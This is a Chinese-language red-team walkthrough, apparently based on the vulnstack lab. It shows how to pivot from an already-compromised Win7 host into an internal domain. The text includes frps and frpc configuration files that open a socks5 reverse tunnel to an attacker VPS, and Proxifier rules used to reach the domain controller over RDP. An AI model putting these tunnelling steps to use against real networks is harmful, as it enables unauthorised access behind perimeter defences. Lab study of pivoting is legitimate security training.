介紹及環境#
frp是一個高性能的反向代理應用,可以使目標對外開放端口,支持
- tcp
- http
- https
等協議類型,並且web服務支持根據域名進行路由轉發,從而在紅隊行動時實現內網穿透
frp作為反向代理工具勝在穩定,但是其依賴配置文件,溯源容易
本篇文章在《ATT&CK 實戰 - 紅日安全 vulnstack (一)》文章使用到的環境基礎上實現
網絡配置示意圖如下所示:

-
已知 win7 作為邊界機,已突破拿到 shell
-
域控主機已開啟允許遠程訪問
這裡已經提前上線cs,其實cs可以直接一鍵開啟socks隧道但是不在本文範圍之內
通過cs查看目標主機win7的ip有兩個內網網段


FRP 代理進入內網#
首先需要明確代理流程
- 需要是攻擊機筆記本的程序能夠使用代理進行訪問該域環境內網
首先從GitHub下載對應版本的FRP代理程序
打開可以看到FRP針對每種操作系統都有對應版本的程序:

以windows64版本為例,包含文件有如下:
- systemd
- frpc.exe
- frpc.ini
- frpc_full.ini
- frps.exe
- frps.ini
- frps_full.ini
- LICENSE
可以看出同一操作系統,官方默認提供server端和cilent端
在攻擊機,也就是擁有公網ip的vps先配置frps.ini
默認配置文件是這樣的:
[common]
server_addr = 127.0.0.1
server_port = 7000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000
此處暫時先以最基礎的配置介紹:
[common]
bind_port = 7000
token = 145678
其實最基礎的只需前兩行,但是建議習慣加上token哈,然後開啟服務器:
frps -c frpc.ini

此時目標機需要配置連接我們的vps之外,還需配置socks5隧道才能讓我們進入目標環境的內網,最簡單的配置應該如下:
[common]
server_addr = x.x.x.x
server_port = 7000
token = 145678
[socks1]
type = tcp
remote_port = 6666
plugin = socks5
plugin_user = admin
plugin_passwd = passwd
啟動客戶端frp:

此時vps收到連接:

這時候我們筆記本攻擊機就可以掛著socks5:VPS-IP:6666來訪問邊界區可以訪問的目標了
結束 frp 時可以使用 ps -aux|grep frp 命令列出 frp 進程信息,然後再用 kill 命令結束掉 frp 進程
本地訪問可以用Proxifier,將需要使用的工具設置為走該代理
proxifier 進行代理#
添加我們的服務器如下:

將遠程桌面工具mstsc.exe添加規則:

此時在我們本地使用遠程工具mstsc直接連接內網的域控主機192.168.52.138:

已經可以成功訪問到目標主機內網的域控遠程桌面
在連接的時候可以看到proxifier打印出了日誌,顯示通過代理開始連接
要使用其他工具對內網進行掃描也是一樣的,只需要在proxifier中將使用到的程序配置規則即可
frp 優化#
敬請期待更新
參考文章: